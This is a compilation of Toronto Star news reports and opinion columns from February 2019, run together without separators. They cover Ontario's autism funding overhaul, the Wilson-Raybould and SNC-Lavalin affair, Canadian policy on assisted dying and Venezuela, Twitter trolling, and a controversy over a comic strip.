While several service providers and hospitals issued public endorsements of the plan after it was announced, parent support group Autism Ontario  which was praised for supporting the changes by MacLeod, the minister of children, community and social services  released a statement Tuesday saying the organization neither proposed nor endorsed the revamp.

Read more:

PC political staffer and father of two autistic teens quits in anger over Ontario autism overhaul

Ford government autism program overhaul met with outrage by some parents who fear kids will lose out

Editorial | Ford governments bait-and-switch on autism

Parents of children with autism are also feeling insulted by the governments dismissal of the Ontario Autism Coalition, a grassroots Facebook group of parent advocates, as professional protesters.

A senior source in the community and social services ministry said staff had met with ONTABA four times  and had provided details of the coming changes for planned oversight of their profession, and were under the impression a supportive quote would be provided after meeting with the minister. However, the source said, different representatives attended the final meeting and the tone changed.

The government had a number of productive and cordial meetings with the therapists as well as others in the autism community, from parents to service providers, said the source.

The source did not recall MacLeod warning of rocky relations if a quote was not provided. She certainly said that we are committed to this plan, said the source.

In a statement, MacLeod spokesperson Derek Rowland said our first priority has  and always will be  supporting Ontario families of children and youth with autism. Despite collaborative dialogues that took place over six months of consultation, ONTABA was unwavering in their desire to self-regulate and unwilling to work with government to open up the sector to provide parents more choice in support services for children with autism.

When news of the ONTABA memo hit social media Wednesday, Ontario Child Advocate Irwin Elman reacted in disbelief.

I hope this is not accurate, he tweeted. Govts have a right to make decisions others have the right to dissent without penalty. It is this balance we need to achieve in a democracy.

Meanwhile, the government faces more opposition from Autism Ontario, which said despite MacLeods public statements, the organization will not be managing intake or dispersing money to families over the next year while the province overhauls autism funding.

Autism Ontario said its statement is aimed at correcting a number of misunderstandings or assumptions, since the government announced age-based funding caps to clear a therapy wait list of 23,000 kids.

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The organization came under fire from angry parents last week when MacLeod suggested Autism Ontario was playing an integral part in her governments plan to shift control of provincial funding for autism services from regional agencies to parents.

In at least one media interview, MacLeod said Autism Ontario will be directly involved with the new funding regime.

Under the changes announced by MacLeod Feb. 6, children with autism up to age 6 will receive a maximum of $140,000 until age 18, while older children will get $55,000. Funding will be aimed at low- to moderate-income families with those earning more than $250,000 no longer eligible, she said.

But parents, whose noisy protests in 2016 convinced the previous Liberal government to reverse a similar age-based funding scheme, say the PC plan makes the same mistake and that the new funding falls woefully short of supporting children with complex needs whose therapy may cost as much as $80,000 a year. And it may be too much for others. It will likely mean cuts to 8,400 children currently receiving help with no funding cap, they add.

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In a statement, ministry officials confirmed Autism Ontario will not be directly involved with the wait list or the funding.

Autism Ontario has been supporting families and people with autism in Ontario for the past 46 years and has parent representatives across the province through 25 local chapters, said spokesperson Katharine Buchan.

Social media attacks against the organizations staff and volunteers, many of whom are also parents with autistic children, have been difficult, she said.

One part-time Autism Ontario staffer in a local chapter, who is a mother of an autistic child, called police over what she felt were threatening Facebook posts from another mother, Buchan confirmed.

The anger is justified, but Im not sure it makes sense to be directing it at one another when we need to be working together to ensure that all childrens needs are met, she said.

Milton mother Maria Garito, whose son Max, 4, is one of 23,000 children waiting for autism funding, says she felt demeaned when MacLeod tweeted below is false and tell the truth in response to her tweet last week questioning the fate of kids entering the school system without adequate therapy support.

It wasnt to offend her in any way. I just wanted answers, Garito said. Its concerning to me that we have a government that would put parents down for asking questions or making a statement.

NDP Leader Andrea Horwath said the government should not be labelling groups of parents who are doing their best for their children as professional protesters.

Its despicable. Shameful. she said in an interview. They are using these tactics to try to besmirch these parents, parents who are very worried about their children.

Horwath says the government was strong-arming professionals in the autism field, trying to knuckle them down and prevent them from providing their professional opinion on the governments changes.

Kendra Thomson, the incoming president of ONTABA, said her organization was not provided with any details about how their profession would be regulated, and because they werent told what the governments planned registry would look like they could not publicly support it.

As for allegations ONTABA is a self-interested lobby group, she said it is a non-profit that represents a number of professionals and promotes evidence-based services.

She also said the group was not meaningfully consulted on the autism changes, and despite the discord, if we were given the opportunity to provide meaningful conversation, the organization would do so.

Thomson said ONTABAs representatives left that final meeting feeling very disappointed, and that the tone was consistent with previous meetings with myself and others.

Louis Busch, a past-president of ONTABA who attended that final meeting, told the Star he went as a private citizen and that it was tense from the outset, unlike any he has attended with previous ministers.

Busch, a board-certified behaviour analyst who works with adults, recalled MacLeod saying that without public support from ONTABA, its going to be a long, hard four years for you.

This was more akin to meeting with a mob boss than an elected official, said Busch, who has also taken the government to task on social media.

Green Party Leader Mike Schreiner called what happened bullying and said groups should be permitted to voice their support or opposition honestly, without fear or reprisal from the levers of power. This begs the question of whether other groups have been subjected to the same pressure.

Correction  February 19, 2019: This article was edited from a previous version that misstated Maria Garitos name.The appointment of Jody Wilson-Raybould, a We Wai Kai First Nation woman, to serve as the first Indigenous minister of justice was a powerful symbol for Indigenous people and a signal to all of Canada.

Her resignation from cabinet is equally powerful.

Trudeau was elected promising that the relationship this country has with Indigenous people was, to him, of the utmost importance. When Wilson-Raybould was appointed attorney general, it signalled that maybe he meant it, that maybe this time would be different. Maybe Wilson-Raybould would finally be the one to uphold basic human rights and fairness for Indigenous people.

A First Nations woman was the top lawyer in a country that still has the paternalistic Indian Act on its books, that consistently fails to properly consult Indigenous communities on decisions that profoundly affect them, that claims it desperately wants to reconcile yet fights not to deliver equitable health, education and social services to Indigenous kids.

Perhaps, it seemed for a moment, she could change history.

But it wasnt long before that old familiar feeling of doubt crept in.

There was double speak on what nation-to-nation actually meant. There was little progress on bringing clean drinking water to First Nations. There was big talk but no action on revising the Indian Act. More inadequate consultations. And on and on.

It must have been increasingly uncomfortable for Wilson-Raybould in cabinet, watching as the government ignored its promises on making First Nations, Metis and Inuit proper partners in everything from drafting legislation to fulfilling funding commitments.

And then, abruptly, she was no longer the countrys top lawyer, fired from her historic role and shuffled off to Veterans Affairs.

Why?

There were planted whispers in the corridors of power that she had been demoted because she was a thorn in the side of the Trudeau government, because she was difficult to get along with, because she was someone people had trouble trusting.

Read more:

Trudeau 'frankly surprised and disappointed' by Jody Wilson-Rayboulds sudden resignation

Opinion | Susan Delacourt: ime to break the silence that has defined the relationship between Trudeau and Wilson-Raybould

Opinion | Thomas Walkom: Wilson-Raybould resignation from cabinet overdue

How much of that perception was created because she was too honest and too blunt about the governments empty rhetoric on reconciliation?

Incensed, First Nations leaders stood staunchly by Wilson-Raybould.

The Union of British Columbia Indian Chiefs accused the Trudeau government of racist and sexist overtones in a whisper campaign against her after she left Justice.

Im familiar with her work ethic, her deep dedication and commitment, said Grand Chief Stewart Phillip, president of the union, who has known Wilson-Raybould for years.

She is an amazing individual but to see her publicly humiliated and the subject of a deliberate smear campaign is infuriating, he said.

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We are completely disgusted with the Trudeau government and its handling of this issue  I know Jody. She is full of integrity.

Eventually, of course, a new story about her demotion emerged  that she had been pressured to intervene in the criminal prosecution of SNC-Lavalin and was punished for her refusal.

She said on Tuesday that she resigned from cabinet with a heavy heart. When she first sought elected federal office  after practising law on Vancouvers Downtown Eastside and serving as the British Columbia regional chief of the Assembly of First Nations  she truly felt she could make a difference. She wanted to pursue a positive and progressive vision of change on behalf of all Canadians, she wrote in her resignation letter, and a different way of doing politics. Maybe she could change things using the masters tools in the masters house.

But that is harder than it looks. Even the purest of intentions and hope are rarely a match for 150 years of colonial history.

Then, on Tuesday night, the prime minister seemed to throw Wilson-Raybould under the bus. He said if she had any problem with what was happening, it was her responsibility to come directly to him, and she did not. Trudeau said he was disappointed with her decision to leave cabinet. He also mentioned that Canadians are puzzled by her resignation and so was he.

Not all of us are. She clearly had her reasons.

Perhaps she had enough of the colonial power system.

In any case, the result is the same: she is no longer in a position potentially to overhaul that system from within, and so yet another symbol has soured.

Ontario Regional Chief RoseAnne Archibald tweeted, Ninanaskamon 4 your groundbreaking work as the 1st Indigenous woman to serve as the top lawyer in Canada. I know this will only be a temporary setback for you. Your kind of strength and leadership is unstoppable in the long run. Remember who you REALLY are @Puglaas.

Wilson-Raybould signed her letter with her traditional name, Puglaas. It means a woman born to noble people.

We should wait and listen to hear what this noble woman has to say.

Correction  February 13, 2019: This column was edited from a previous version that misspelled Jody Wilson-Raybould's traditional name.

Read more about:OTTAWANewly-named Justice Minister David Lametti says he feels badly for terminally ill patients who are not able to legally obtain medical assistance to die, but he will not push to change the law on informed consent before the next election.

Any changes would have to wait until the conclusion of a five-year parliamentary review about how the new regime is working, says Lametti.

That review is not expected to happen until 2021, five years after the bill passed, meaning well into the next governments mandate.

Lametti, when asked if he would change the law if the Liberal government is re-elected to a new term and he is back in the justice portfolio, said only that Certainly well commit to a legislative process that looks at all the issues that have been raised.

Groups like Dying with Dignity Canada say the laws requirement that grievously ill patients be able to offer informed consent at the time of any procedure puts it beyond reach of many patients in advanced stages of diseases like cancer, who otherwise meet all the eligibility criteria.

When Parliament debated the bill to allow assisted suicide for patients in 2016  which was the governments response to a Supreme Court of Canada ruling recognizing it as a right  Lametti was one of four Liberal MPs who voted against it.

Read more:

Liberal-dominated committee votes to limit investigation of allegations of improper political influence on Wilson-Raybould

Decision whether to extradite Huaweis Meng Wanzhou will take political factors into account, new justice minister says

New video shows late Halifax activist pleading for change to assisted dying rules

A McGill University law prof who took a leave to enter politics, Lametti specifically voiced his concern the law was open to a constitutional challenge by patients who would be forced to either suffer or choose an earlier death while they still had the mental capacity to offer informed consent.

In an interview with the Star on Thursday, Lametti said he would not move to change the law now that he holds the job of Canadas justice minister and attorney general.

I had my say.

When he was first appointed, he did not close the door on changes, but last week he was categoric.

I do feel badly for anyone who is put through that situation, both the person who is struggling with some sort of tragic illness as well as the family around them and friends around them, said Lametti. So I am very sympathetic to that.

But Lametti said the parliamentary process struck an important balance that he respects, and a five-year review would be able to assess data and evidence about the impact the law is having.

The bill also prohibits assisted dying for minors or those with mental illness.

I think the bill as it stands is an important marker, an important first step in a moral and ethical debate, as well as health-law debate, a policy debate, said Lametti. And so the balance that was struck was appropriate in terms of that first step; I think its too early to do anything else.

Dying with Dignity Canada president Shanaaz Gokool said she was deeply disappointed in Lamettis stance.

The group has highlighted tragic cases like that of a Nova Scotia woman, Audrey Parker, who had stage four breast cancer that spread to her brain, who was approved by physicians for assisted death, but who ended up choosing an earlier death rather than risk losing her capacity to consent at a later time.

The government already has the evidence, they know the impact on people like Audrey Parker and their family, said Gokool.

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How many Audrey Parkers will it take  and these are people who are ending their lives earlier than they want to with an assisted death for fear of losing the right altogether  before the government recognizes what a severe and grave violation of peoples Charter right this is? she said in an interview.

Dying with Dignity Canada launched a campaign on Feb. 6, the fourth anniversary of the Supreme Court of Canadas Carter ruling, to urge the government to modify the law.

Gokool said if the government wont act to draw up what she called a narrow amendment to allow certain patients to draw up a written declaration of advance consent, then certainly organizations like ours will look to all political and legal options.

Other advocates like Campaign Life Coalition who long opposed the law, had worried Lametti would expand the right to die.

However he made clear it is not among his priorities.

He said right now, Its a better situation than it was beforehand when there was no possibility of medically assisted death and so in that sense it is a marked improvement.

Lametti said he has never personally had to deal with a close family member or friend who wanted medical assistance in dying, but lost his mother to dementia in 2016. However he said, she was a devout Catholic and would never have consented. We actually had that discussion about 10 years ago and she said under no circumstancesAnd so I dealt with it as any child when a parent goes through something like that.

He said right now, his priority as minister is to ensure passage of outstanding justice bills introduced by his predecessor Jody Wilson-Raybould, including divorce act changes and criminal law and procedure reforms.

There are a number of things that need to be finished, to get through the House of Commons and the senate, he said.

I want to get all that done and I want to lay the groundwork in policy terms for a few other things that I think are important.

Among those, he said, is to advance Canadians understanding of immigration as a positive force in Canadian society.

Lametti, 56, described himself as a child of the Charter.

He said he told the prime minister the first justice minister he remembers as a child was Pierre Trudeau, the current prime ministers father.Whitney Kimball Coe is an Athens resident who serves as coordinator of the National Rural Assembly and director of national programs for the Center for Rural Strategies. She can be reached at whitneykcoe@gmail.comOTTAWA Liberal MPs have voted to restrict an investigation into allegations of improper political influence on former attorney general Jody Wilson-Raybould, blocking opposition efforts to have her and the prime ministers top aides testify before a Commons committee.

The vote came after a Liberal MP said the Conservatives were embarking on a fishing expedition and a witch hunt in their bid to hold hearings and summon witnesses  including senior PMO, justice department and Privy Council officials  to tell their stories under oath.

The Liberals used their majority on the justice committee Wednesday to shut down a bid by Conservatives and New Democrats to summon Wilson-Raybould and Trudeau aides Gerald Butts and Mathieu Bouchard to testify.

The Liberals also blocked a motion that called on the prime minister to lift solicitor-client privilege to allow Wilson-Raybould to speak freely about the allegations that have rocked the government.

That is not an investigation. That is simply going through the motions, NDP MP Nathan Cullen said after the meeting, charging that the Liberals sought to batten down the hatches today and not allow any truth to come to light.

The government has been rocked by a report in the Globe and Mail citing unnamed sources that Trudeaus officials put pressure Wilson-Raybould to cut a deal with SNC-Lavalin instead of pursuing criminal charges that could prove financially crippling for the Quebec company.

Read more:

Opinion | Tanya Talaga: Is the SNC-Lavalin scandals biggest victim Trudeaus relationship with Indigenous people?

Revolving door of ministers in the veterans affairs department causing worry

Opinion | Susan Delacourt: Time to break the silence that has defined the relationship between Trudeau and Wilson-Raybould

She was shuffled out of the justice portfolio to veterans affairs in January. On Monday night, she told Trudeau she was quitting her cabinet post  a move Trudeau said surprised and disappointed him. Her resignation was tendered hours after the prime minister had publicly suggested that her continued presence in cabinet showed nothing egregious had occurred.

Conservative Michael Cooper charged Wednesday that Liberal MPs on the committee were acting as agents of a broader cover-up on the part of the PMO.

Its very clear they are not serious about getting to the bottom of what happens, Cooper said.

Instead, Liberal MPs voted to hear from just three officials: current Justice Minister David Lametti, his deputy minister Nathalie Drouin, and the Clerk of the Privy Council Michael Wernick, who serves as Trudeaus top public servant and deputy minister.

The Conservatives are piling pressure on five Liberal MPs who will determine today whether a House of Commons committee will investigate an allegation that former attorney general Jody Wilson-Raybould was pressured to help SNC-Lavalin avoid criminal prosecution. (The Canadian Press)

The committee will also take a broad look at the legal rules and standards that apply to how an attorney general interacts with political colleagues, and hear legal opinions on how their work could impact current court proceedings involving SNC-Lavalin.

Conservative public safety critic Pierre Paul-Hus scoffed at the Liberals move to change the focus of discussions, saying We dont need a law class here.

The committee meets again next week and will consider the possibility of expanding the witness list, but Liberal MPs  who have a majority on the committee  voted 5-4 to support a motion by Liberal Randy Boissonault, to shift the debate away from Wilson-Rayboulds as-yet untold version of events.

Deputy Conservative Leader Lisa Raitt isnt holding out any hope that the committee will hear from additional witnesses.

During a protracted afternoon meeting that was testy at times, Liberals pushed back on the Oppositions desire to broaden the inquirys scope into allegations that are already the subject of an investigation by the federal ethics commissioner.

At the committee meeting, the Liberals sought to downplay the controversy. Mississauga MP Iqra Khalid accused the opposition of political posturing and making hay out of nothing.

B.C. MP Ron McKinnon justified his vote opposing a broader investigation, saying, we dont have any real evidence of wrongdoing.

Boissonault, MP for Edmonton Centre, accused Conservative MPs of trying to conduct a fishing expedition and a witch hunt into the SNC-Lavalin affair as the prime minister insisted publicly his government had broken no rules in its dealings with Wilson-Raybould.

As three-hour drama at committee was unfolding, the prime minister was on the defensive in Sudbury, where he again insisted his office had done no wrong.

Trudeau said his officials followed all the norms and the principles of the independence of the judiciary and the rule of law in discussions with Wilson-Raybould about SNC-Lavalins fate.

Trudeau indicated the topic  which he cast as discussions about ways to create jobs and economic growth  was a pressing concern, saying this is a constant conversation in cabinet.

And all those conversationshave always been carried out based on well-established rules, said the prime minister.

Trudeau again blamed Wilson-Raybould for failing to come forward with any concerns about improper influence before her sudden resignation Tuesday. He pointed to her acceptance of another cabinet post just last month as evidence she had no real concerns.

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If anyone, any minister, including the former attorney general, felt that there was  that we were not living up to that standard  it was her responsibility to come and speak to me directly about that. She did not do that in the fall, and she accepted another position in this government when I made the cabinet shuffle.

But at committee, Conservative Pierre Poilievre lashed into Trudeaus reasoning, saying Wilson-Raybould is unable to respond to the prime ministers attack because she is bound by solicitor-client privilege.

He directly attacked her, saying it was her job to stop wrongdoing from happening in his office, Poilievre said.

But what is most despicable and cowardly about this attack is that he was attacking someone who is legally incapable of defending herself. She cant fight back. She cant speak, he said.

Its time that we let her speak, he said.

After the meeting, Boissonault said theres nothing preventing Wilson-Raybould from speaking out now, even as he acknowledged she is bound by solicitor-client privilege.

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I think its important for Ms. Wilson-Raybould to speak to Canadians on her own terms. Its not something we need to do here at the justice committee, he said.

But the Conservatives and the NDP say others needed to be called including the director of public prosecutions Kathleen Roussel; chief of staff to the prime minister Katie Telford; senior PMO advisers Mathieu Bouchard and Elder Marques who were lobbied by SNC-Lavalin, and Wilson-Rayboulds former chief of staff Jessica Prince.

The Liberal MP denounced Opposition suggestions that SNC-Lavalin had gotten the Liberal government to change the law to allow deferred prosecutions for companies like the Quebec engineering giant facing fraud charges.

In the closest thing to an explanation anyone on the government benches has offered for the change since the scandal broke last week, Boissonault said Canada adopted the legal change to allow deferred prosecutions for companies facing fraud charges to align with its trading allies and called Opposition allegations of political favouritism specious.

Cameron Ahmad, Trudeaus director of communications, said in an interview the prime minister spoke with Wilson-Raybould about SNC-Lavalin once last fall, on Sept. 17, some three weeks before the public prosecutors office declined, on Oct. 9, SNC-Lavalins pleas to negotiate a deal.

Ahmad said Trudeau and Wilson-Raybould discussed a variety of things including this issue but declined to provide further details, saying only what Trudeau told reporters: that the government had conducted itself appropriately. Ahmad said that goes for all the prime ministers team.

Ahmad said Trudeaus chief of staff Katie Telford had no conversations with Wilson-Raybould about the matter.

The government had previously confirmed that Butts also met with the former justice minister on Dec. 5, that she had raised SNC-Lavalin, and he told her to speak to Wernick about it.

The lobby registry shows SNC-Lavalin lobbied Trudeaus office 18 times on the subject of justice and law enforcement since February 2016, with 15 of the 18 contacts involving Bouchard. Two of SNC-Lavalins lobbying contacts were with senior adviser Elder Marques. Trudeaus Principal Secretary Gerald Butts and former senior adviser Cyrus Reporter were each lobbied once by the company, the registry shows.

Conservative Leader Andrew Scheer did not rule out referring it to the RCMP saying all options are on the table and again called on Trudeau to waive whatever privilege he thinks he may have.

Read more about:OTTAWAIn the political controversy engulfing Justin Trudeaus government, advocates fear that the revolving door atop the veterans affairs department means that veterans and their priorities are getting short shrift.

Jody Wilson-Raybould on Tuesday announced her resignation from cabinet after serving barely a month as veterans affairs minister.

She quit cabinet amidst allegations that Trudeaus office had pressured her in her former role as attorney general to mediate a settlement with SNC-Lavalin rather than pursue criminal charges.

In the wake of her announcement, Trudeau said that Harjit Sajjan, who is the defence minister, would take on the role of veterans affairs minister too. He becomes the eighth minister to hold the position since 2010 and the fourth since the Liberals took office in 2015.

Its extremely frustrating, said Scott Maxwell, executive director of Wounded Warriors Canada.

Who can possibly effect the real substantive reforms needed in any ministry under these time frames. The answer, of course, is nobody, he said.

Read more:

Trudeau 'frankly surprised and disappointed' by Jody Wilson-Rayboulds sudden resignation

Opinion | Susan Delacourt: ime to break the silence that has defined the relationship between Trudeau and Wilson-Raybould

Opinion | Thomas Walkom: Wilson-Raybould resignation from cabinet overdue

Our message is that veterans and their families deserve better, said Maxwell.

In the wake of Tuesdays resignation, the Royal Canadian Legion called on the government to create one department to merge Veterans Affairs Canada and the Department of National Defence to ensure seamless oversight of military personnel from recruitment into retirement.

We have witnessed several puzzling changes to VACs leadership in recent years, and we now question just how committed government is to Canadas veterans, the legion said in a statement.

On their behalf, we ask that the veteran portfolio overall be treated as a vital one, and that government take swift action so that critical issues related to our veterans well-being are dealt with immediately, the statement said.

Successive governments have faced criticism that the benefits provided to veterans fall short at the very time that government is faced with a wave of veterans suffering the mental and physical wounds from Canadas extended mission in Afghanistan.

Kent Hehr was the first politician to hold the post in Trudeaus government, followed by Seamus ORegan, then Wilson-Raybould and now Sajjan.

Each change means a steep learning curve for the minister and their staff as they get up to speed on the issues facing the department, the complex array of veterans benefits and get acquainted with stakeholders. That inevitably means delays.

Sajjan at least comes into the portfolio with some familiarity with the issues, thanks to his time as defence minister and a veteran of the Armed Forces himself. But it still means that the job of veteran affairs minister is now a part-time role, held by a minister juggling two departments.

Maxwell noted that a few ministers have stayed in their portfolios for a prolonged period, including Finance Minister Bill Morneau and Sajjan and questioned why veteran affairs doesnt merit the same stability. Its time that it did and it needs to, he said.

NDP MP Gord Johns, the partys critic for veterans affairs, said that veterans have grown frustrated with revolving door of ministers for the department.

He praised Wilson-Raybould as a capable minister and said expectations were running high that she could make headway on the issues facing the department. I think a lot of veterans were very excited of her stature and her CV, said Johns (CourtenayAlberni).

He met with Wilson-Raybould just last week and agreed to meet again to work together on veterans issues. She was open and willing to work on issues with me, Johns said.

Veterans are tired of rhetoric. They want a minister that is committed to working on their issues, he said in an interview. Veterans are really being lost in all of this.

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Even when she took on the post in a January cabinet shuffle, Wilson-Raybould had to push back on suggestions that the veterans affairs role was a demotion in the hierarchy of cabinet positions.

I can think of no world in which I would consider working for our veterans in Canada as a demotion, Wilson-Raybould told reporters on the day of the shuffle.

Trudeau himself declared that day that serving as veterans affairs minister is a deep and awesome responsibility.

Read more about:Maybe my Spanish isnt good enough, but on a quick read-through of the Venezuelan constitution I couldnt find the section where it specified that Venezuelas president would be chosen by Canada.

Im sure the section must be in there, however, because Canada exercised that power last week in recognizing Juan Guaido as Venezuelas interim president  even though the Venezuelan people had chosen Nicolas Maduro in national elections last year.

The Trudeau government, assuming a leadership role as host of the Lima Group, explained that Maduro is not legitimate because the national elections he won were flawed, allowing the presidency to fall to Guaido, the head of the national assembly.

(Similarly, once it has been established that the 2016 U.S. elections were flawed by Russian meddling, we can expect the Trudeau government to recognize Nancy Pelosi as the legitimate president of the United States.)

The turmoil in Venezuela has faded from the news somewhat this week, but the real action is just beginning. U.S. President Donald Trump has assembled a team of hatchetmen, including war-hawks John Bolton and Elliott Abrams, to work on regime change in Venezuela.

It was this team that set things in motion late last month with a phone call from Vice President Mike Pence to Guaido, pledging U.S. support if he seized the reins of government, according to the Wall Street Journal.

Canada has called for a peaceful transition. But if the U.S. invades Venezuela to formally install Guaido, Canada will have played its part in teeing things up.

Washington has been focused on regime change in Venezuela since the charismatic Hugo Chavez won the 1998 election with massive support from the nations poor, and began redirecting the countrys oil wealth to health care, education and poverty alleviation. The privileged classes, who had managed the oil industry and siphoned billions out of the country, strongly resisted Chavez and later his successor Maduro.

As tensions escalated in the deeply polarized nation, the Trump administration imposed brutal sanctions that, along with falling world oil prices and economic mismanagement, have devastated the Venezuelan economy. Canada piled on its own sanctions which, while not as broad, lent credence to the idea that Venezuela deserved punishment.

The Trudeau government talks about restoring democracy to Venezuela, hoping to keep the focus off any suspicions that our involvement is helping Washington get control of Venezuelas oil reserves, which happen to be the worlds largest.

One problem for Canada in confining the story to this restoring democracy narrative is that the Trump administration talks unabashedly about its keenness to open up Venezuelas oil to development by U.S. oil companies, after years of it being under the control of Venezuelas state-owned oil company.

Bolton, Trumps national security adviser, showed this keenness in an interview last week on Fox Business when he said: It will make a big difference to the United States economically if we could have American oil companies really invest in and produce the oil capabilities in Venezuela.

This could amount to massive opportunities for U.S. oil companies, said Scott Modell, a CIA agent turned energy analyst, in an interview last week on CBC Radios As It Happens.

Modell added that Trump is relying on the support of ultra-conservative governments in Argentina and Brazil (both members of the Lima Group) to bring about regime change in Venezuela.

But Canada is useful in a different way. Unlike those notorious right-wing Latin governments, Canada under Justin Trudeau has cultivated an image in the world as a rule of law country, with Foreign Affairs Minister Chrystia Freeland rhapsodizing about a rules-based international order in defiance of Trumps unilateralism.

Her apparent willingness to defy Trump only adds to Canadas credibility with many Western nations. No doubt this helped when Trudeau phoned a number of foreign leaders, including those of Ireland and Italy, to line up international support for Guaido.

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This Canadian credibility could also provide some cover for Washington if it uses force to install Guaido. After all, it will be installing a regime that has been endorsed by law-abiding Canada.

And so the Trudeau government presents itself as championing international law, in defiance of Trump, even when its acting as Trumps wingman.

Read more about:Murders, murders, murders. Killings, murders, said President Donald Trump at a violent rally in El Paso, Tex., on Monday night. And that, dear readers, is the live-action embodiment of a hateful tweet.

Trump stoked the crowd of 6,500 with a collection of words and phrases like this, whipped up hate against media, and then watched as a BBC cameraman was violently attacked by a man wearing a Make America Great Again cap and shouting F  k the media!

Online where it all started, tweets are words, just like Trumps. Theyre packets of words, then gangs of words, then armies of words, just like a Trump crowd being goaded into rage based on lies. In real life, as an impressive new data study by the CBC reveals, trolls in Russia, Iran and Venezuela may have been running targeted Twitter campaigns to create anger in Canada over building pipelines, immigration and refugee policies, and other sore-to-the-touch spots.

Note that the tweets are not always pro-pipeline or anti-immigrant. Troll campaigns are cunning. They can be anti-pipeline or pro-immigrant. As the CBC reports, Iran, for instance, has an interest in Canadian pipelines not being built. It is not clear who specifically was best-served by stirring division over U.S. Black Lives Matter but it happened.

Emotional reactions are key. Troll campaigns often retweet using respectable outlets but in a targeted manner that feeds personal anger and expands it in our peaceful nation.

In a world described in ever more simplistic terms, Americans, unaccustomed to even registering foreign news, are particularly vulnerable. Heres an early Tuesday New York Times headline: Ethics Inquiry Opened over Justin Trudeaus Actions in Bribery Case. A headline is basically a tweet, especially for those who dont read the story, which is most people.

It sounds as if the PM has been quietly exporting crystal meth in bulk to Michigan and paying off border agents using blockchain. Of course the story is relatively dull. My dearest wish is that the PMO had indeed suggested former Justice Minister Jody Wilson-Raybould do a plea bargain in the SNC-Lavalin case, saving thousands of Quebec jobs. I wish she had been told not to grovel to U.S. agents trying to arrest Huaweis CFO. Canadian jobs come first.

But SNC-Lavalin is a complicated Ottawa quarrel among people who have never endured the terror of job loss. So it makes a great tweet, exactly the kind of summary  a tangled regional battle  that thrives on Twitter abuse.

Here are two CBC examples of foreign trolling:

Jan. 28, 2017: Canada Wants to Take Unvetted Muslim Refugees Detained at U.S. Airports

July 15, 2017: Globalist Trudeau Demands Americans Dump Borders and America First Slogan.

Re-tweeting these means amplifying, or gathering everyone of a similar opinion or cast of mind. It seems innocuous, even healthy. But if foreign states  and its not always clear how this is managed  are doing this to manipulate opinion in Canada, it may create Trump-level anger.

If you study the @atrupar video of the Trump rally, you can see how people reacted. Trump enthusiasts are chosen as a presidential backdrop and will always applaud, mainly for the video clips sent out by the media that Trump professes to loathe.

But as the man charged at the BBC crew and struck the cameraman unawares, the older fans directly behind Trump froze, looking intent and possibly concerned. The beautiful young woman to his left, wearing sparkling chiffon and a USA cap, looked horrified. They did not cheer the violence they saw unfolding.

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But the crowd did. The crowd went wild with joy, as they do in an Orwellian Two Minutes Hate in Nineteen Eighty-Four. For the cameraman, it was two minutes of shock and fear. Someone will die at a rally like this one.

My job requires that I spend many hours on Twitter. I am rarely shocked or angered. But there is a more sinister reason for this than any notion that I am wise to Twitters ways and cannot be manipulated.

Twitter has turned people online into experimental rats in a cage, battered by varying electric shocks so they blindly react and obey, or else, like me, grow almost numb to the pain of it.

Read more about:When the American cartoonist who creates words and drawings for the syndicated funny pages loses it over U.S. President Donald Trump, we may well have reached peak polarization.

I was initially not sure whether to laugh or throw up my hands in disbelief and despair over this one.

Disbelief was my first instinct. On Monday night, a reader sent me an email stating that the syndicated comic strip, Non Sequitur, published Saturday in the Stars Puzzles & Comics section included  hidden within a drawing of some cartoon bears  an obscenity aimed at Trump.

It wasnt obvious but if you look closely you can see that it reads, We fondly say, go f*** yourself Trump, although it doesnt use the asterisks, reader Aaron Fleming told me.

Yes, this happened, and, as the facts will show, theres nothing funny about it. Cartoonist Wiley Millers Non Sequitur comic strip did indeed include the vulgar word scribbled into the bottom corner of his drawing of a bear named Leonardo Bear-Vinci  a word the Stars standards policy has long banned publishing in full.

At least a dozen U.S. newspapers have now dropped Non Sequitur, an award-winning comic strip that promises to have you laughing at the controversy of everyday life over this politicized controversy. The cartoon, published in the Star since March 1992, has appeared in more than 700 newspapers since its debut that year.

Fleming is a long-time reader of the Stars comics pages who finds some measure of happiness in them. Indeed, this is the only part of all this that made me smile: I take the comics with me when I visit my 95-year-old mother, who has dementia, he told me. For some reason, grocery flyers and the comics page seem to get through to her and if she finds one funny, its one of the rare times she smiles or laughs.

Surprisingly, Fleming was the only reader to bring this to our attention. He did not see the hidden message on first viewing the cartoon but learned about the controversy later.

He expressed concern that cartoon was directed at children because the black-and-white bears were drawn to look like a colouring book and its words invited viewers to get out your crayons colored pencils or markers and have fun.

I think you owe your readers at least some acknowledgment of how this trickery and unnecessary profanity ended up in a comic page that was aimed directly at children, Fleming, said, noting that, Im not a fan of Mr. Trump.

Non Sequitur  described by its distributor as tackling, among other topics, politics and cultural issues, is touted as being a hit with fans of all ages. But, Fleming is right that the comics section attracts young readers.

Both the cartoonist and the syndication company that distributes Non Sequitur have now apologized for this antic.

Miller says his cartoon was never supposed to be published with the F-word message. He says he scribbled the words into his drawing about eight weeks ago while working on a day when he was peeved with the president.

I now remember that I was particularly aggravated that day about something the president had done or said, and so I lashed out in a rather sophomoric manner as instant therapy, he said Monday. It was NOT intended for public consumption, and I meant to white it out before submitting it but forgot.

That statement would seem to be somewhat of a non sequitur itself given the fact that, as the Washington Post reports, on Sunday the cartoonist had drawn attention to a hidden Easter egg in his weekend cartoon via a now-deleted tweet.

Some of my sharp-eyed readers have spotted a little Easter egg from Leonardo Bear-Vinci. Can you find it? he tweeted.

A representative for his distributor, Andrews McMeel Universal, apologized to the Star and its readers for the vulgar language in the cartoon.

We are sorry we missed the language in our editing process. If we had discovered it, we would not have distributed the cartoon without it being removed. We apologize to Non Sequiturs clients and readers for our oversight.

Certainly, no one at the Star noticed this profanity. Editor Irene Gentle found it to be both unbelievable and sad.

No matter the particular political leanings, the level of discourse and anger out there is astounding, she said.

Non Sequitur aims to offer its readers a wry look at the absurdities of everyday life. While this is indeed absurd, were not laughing.

Kathy English is the Star's public editor and based in Toronto. Reach her by email at publiced@thestar.ca or follow her on Twitter: @kathyenglish

Read more about:Few places on our planet remain untouched by humans.

The growing global demand for food, fibre, fuels, shelter and freshwater is driving the loss and degradation of natural forests, wetlands, coastal areas and other ecosystems. It has had devastating consequences for biodiversity and the life-sustaining services that ecosystems provide, such as clean air, safe drinking water and a stable climate.

The explosive growth of towns and cities and land use changes  forestry, agriculture, mining  destroyed an astonishing 3.3 million square kilometres of terrestrial wilderness (an area larger than India) between 1993 and 2009.

